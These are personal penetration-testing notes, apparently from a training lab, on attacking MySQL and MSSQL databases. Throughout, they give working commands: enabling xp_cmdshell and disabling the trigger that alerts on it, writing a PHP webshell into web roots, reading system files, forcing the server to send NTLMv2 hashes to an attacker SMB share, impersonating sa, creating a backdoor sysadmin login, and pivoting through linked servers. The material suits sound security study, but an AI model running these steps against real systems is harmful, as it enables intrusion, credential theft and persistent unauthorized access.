Skip to content

Attacking SQL DBs

  • db services are configured with high privilege users

Enum

  • MSSQL - TCP/1433 UDP/1434
  • https://medium.com/@oumasydney2000/mssql-enumeration-1433-1ee5fa6ac5d3
  • Hidden mode - TCP/2433
  • MySQL - TCP/3306

Banner Grabbing

  • nmap -Pn -sVC -p1433 10.10.10.125

Authentication mechanism

  • MSSQL has 2 auth modes
  • Windows auth mode
  • Mixed mode
  • \

  • MySQL also has different auth modes

  • username/pass
  • windows auth (with a plugin)

Misconfigured - anonymous access

Privileges


Protocol Specific Attacks

Read/Change DB

MySQL - Connecting to the MySQL Server

  • mysql -u julio -pPassword123 -h 10.129.20.13

SQLCMD - Windows connecting to the MSSQL server

  • sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30

Linux connect to MSSQL Using SQSH:

  • sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h
  • sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h
  • .\\accountname or SERVERNAME\\accountname means windows authentication is used
  • If not, creds from SQL server are checked for auth
  • Use lowercase go to execute mssql commands

Using impacket-mssqlclient.py

  • mssqlclient.py -p 1433 julio@10.129.203.7

SQL Default Databases

  • Note: We will get an error if we try to list or connect to a database we don't have permissions to.

SQL Syntax

SQLCMD:

*

![](../../attachments/Pasted-image-20250112111059.png)

*

![](../../attachments/Pasted-image-20250112111113.png)

*

![](../../attachments/Pasted-image-20250112111121.png)

*

![](../../attachments/Pasted-image-20250112111144.png)
  • SELECT name FROM master..syslogins - get users
  • SELECT name FROM master..syslogins WHERE sysadmin = '1';
  • SELECT entity_name, permission_name FROM fn_my_permissions(NULL, ''SERVER''); - Check User Permissions
  • select name from sys.server_triggers; - check the triggers on events
  • disable trigger ALERT_xp_cmdshell on all server - disable the trigger on xp_cmdshell *

Execute Commands

  • https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-xp_cmdshell/

xp_cmdshell

  • MSSQL has xp_cmdshell allowing us to execute system command using sql.
  • privileges of the user running the sql service

Commands

  • If xp_cmdshell is disabled, we can enable it if we have proper privileges
-- To allow advanced options to be changed.  
EXECUTE sp_configure 'show advanced options', 1
GO

-- To update the currently configured value for advanced options.  
RECONFIGURE
GO  

-- To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1
GO  

-- To update the currently configured value for this feature.  
RECONFIGURE
GO

## Write Local Files ### MySQL: - MySQL doesnt have `xp_cmdshell` but we can write to files - `SELECT "" INTO OUTFILE '/var/www/html/webshell.php';` - Then, try to access this file from the webserver - ![](/attachments/Pasted-image-20250112113951.png)

Secure File Privileges

  • show variables like "secure_file_priv";

MSSQL

  • to write files, we need to enable the Ole Automation Procedures - requires admin privs Enable Ole Automation Procedures
1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO

MSSQL - Create a file

1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO

Read Local Files

MSSQL

  • By default, MSSQL allows file read on any file in the operating system to which the account has read access.
1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO

MySQL

  • not allowed by default. requires config and privileges
  • select LOAD_FILE("/etc/passwd");

Capture MSSQL Service Hash with Responder

  • uses the smb protocol and the xp_subdirs or xp_dirtree
  • When we use one of these stored procedures and point it to our SMB server, the directory listening functionality will force the server to authenticate and send the NTLMv2 hash of the service account that is running the SQL Server.

Commands

  • Start Responder or impacket-smbserver
  • XP_DIRTREE Hash Stealing
1> EXEC master..xp_dirtree '\\10.10.110.17\share\'
2> GO

subdirectory    depth
--------------- -----------
  • XP_SUBDIRS Hash Stealing
1> EXEC master..xp_subdirs '\\10.10.110.17\share\'
2> GO

HResult 0x55F6, Level 16, State 1
xp_subdirs could not access '\\10.10.110.17\share\*.*': FindFirstFile() returned error 5, 'Access is denied.'
  • If the service account has access to our server, we will obtain its hash. We can then attempt to crack the hash or relay it to another host.

Responder

  • sudo responder -I tun0

impacket

  • sudo impacket-smbserver share ./ -smb2support

Impersonate Existing Users with MSSQL

  • SQL Server has a special permission - IMPERSONATE
  • allows the executing user to take on the permissions of another user or login until the context is reset or the session ends.

Workflow

  • First, identify the users we can impersonate
1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO

name
-----------------------------------------------
sa
ben
valentin

(3 rows affected)
  • Verify our current user role
1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go

-----------
julio                                                                                                                    

(1 rows affected)

-----------
          0

(1 rows affected)
  • 0 means we do not have the sysadmin role
  • But, we can impersonate the sa, ben, valentin users\

  • Impersonating the SA user

1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO

-----------
sa

(1 rows affected)

-----------
          1

(1 rows affected)
  • \

  • Grant another user 'SYSADMIN' permissions

1> USE [master]
2> GO
1> CREATE LOGIN&nbsp;[test] WITH PASSWORD=N'test', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
2> GO
1> EXEC master..sp_addsrvrolemember @loginame = N'test', @rolename = N'sysadmin'
2> GO

Communicate with other DBs with MSSQL

*

![](../../attachments/Pasted-image-20250112121012.png)
  • MSSQL has a configuration option called linked servers.
  • Linked servers are configured to enable the db engine to execute a Transact-SQL statement that includes tables in another instance of SQL Server, or another database product such as Oracle.
  • If we manage to gain access to a SQL Server with a linked server configured, we may be able to move laterally to that database server.
  • Administrators can configure a linked server using credentials from the remote server. If those credentials have sysadmin privileges, we may be able to execute commands in the remote SQL instance.

Identify Linked Servers - MSSQL

1> SELECT srvname, isremote FROM sysservers
2> GO

srvname                             isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS          1
10.0.0.12\SQLEXPRESS                0

(2 rows affected)
  • 1 - remote server | 0 - Linked server

Identify user used for connection

1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO

------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS     Microsoft SQL Server 2019 (RTM sa_remote                                1

(1 rows affected)
  • sa_remote is the sysadmin user in the linked server.

Execute other commands as the sa_remote user inside the EXECUTE command


Executing Python in MSSQL

  • https://docs.microsoft.com/en-us/sql/machine-learning/tutorials/quickstart-python-create-script?view=sql-server-ver15